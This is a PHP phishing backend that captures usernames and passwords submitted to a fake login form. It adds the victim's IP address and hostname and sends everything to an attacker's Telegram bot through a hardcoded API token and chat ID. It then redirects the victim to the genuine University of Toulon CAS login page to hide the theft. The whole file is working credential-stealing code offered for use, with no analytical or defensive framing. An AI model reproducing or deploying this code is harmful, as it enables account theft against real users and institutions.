<?php
$Login = $_POST['username'];
$Pass = $_POST['password'];

$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$bro = $_SERVER["HTTP_USER_AGENT"];
$message  = "------------------+ Login !NfO +-----------------\n";
$message .= "Login : ".$Login."\n";
$message .= "Pass : ".$Pass."\n";
$message .= "---------------+ Host Infos +---------------\n";
$message .= "IP Address : ".$ip."\n";
$message .= "HostName : ".$hostname."\n";
$message .= "-----------------+ Created By 3needan +------------------\n";
$rnessage = "$message";

// Telegram Bot API endpoint and bot token
$apiEndpoint = 'https://api.telegram.org/bot7234524056:AAGO5q_k4VfYgsjpTWd4dALlsNOKtePB96g/sendMessage';

// Chat ID of the Telegram group/channel where you want to send the message
$chatId = '-4268057385';

// Compose the message data
$data = array(
    'chat_id' => $chatId,
    'text' => $rnessage,
);

// Use cURL to send the message to the Telegram Bot API
$ch = curl_init($apiEndpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

header("Location: https://cas.univ-tln.fr/cas/login");
?>
